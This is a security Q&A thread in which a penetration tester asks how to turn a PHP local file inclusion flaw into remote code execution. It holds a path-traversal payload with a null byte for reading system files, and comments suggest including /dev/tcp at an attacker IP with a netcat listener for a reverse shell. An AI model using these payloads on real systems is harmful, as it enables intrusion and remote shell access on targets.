1

During a penetration test, I came across an endpoint which lets me include local files and I can read /etc/passwd. However I don't have permissions to read proc/self/environ and /etc/shadow.

The endpoint looks like:

http://xxxxx/directory/file.php?classes_dir=../../../../var/log/messages%00 (Apache webserver running php on Ubuntu)

The payload above returns the following error message:

Warning: require_once(../../../../var/log/messages) [function.require-once]: failed to open stream: Permission denied in /var/www/classes/file.php on line 4

I can't read log files because I get permission denied message when I try accessing /var/log/messages ,( because of which log poisoning seems unlikely, in this case.)

The answer to this questions suggest looking into ssh logs, which isn't readable either.

Any ideas how this can be leveraged to RCE?

Improve this question
6
  • Another thing to try is /dev/tcp/[your IP]/[listening port]. Also try pulling down other PHP files and look for other vulnerabilities there.
    – h4ckNinja
    May 15, 2016 at 22:19
  • You mean something like http://xxxxx/file.php?classes_dir=../../../../dev/tcp/10.x.x.x/9999%00 and listening for reverse shell nc -nlvp 9999 ? (That didn't help)
    – ramailo sathi
    May 15, 2016 at 22:34
  • Yes. It doesn't always work. It's just one of the things I try.
    – h4ckNinja
    May 15, 2016 at 23:53
  • related: How to hack linux via Local File Inclusion vulnerability?.
    – tim
    May 16, 2016 at 11:34
  • I have this same problem in a pentest. Running a old Centos 5 (Final) with Apache 2.2.3 and PHP 5.1.6
    – Dusty Boshoff
    Jun 9, 2016 at 13:00

0

Reset to default

You must log in to answer this question.

Browse other questions tagged .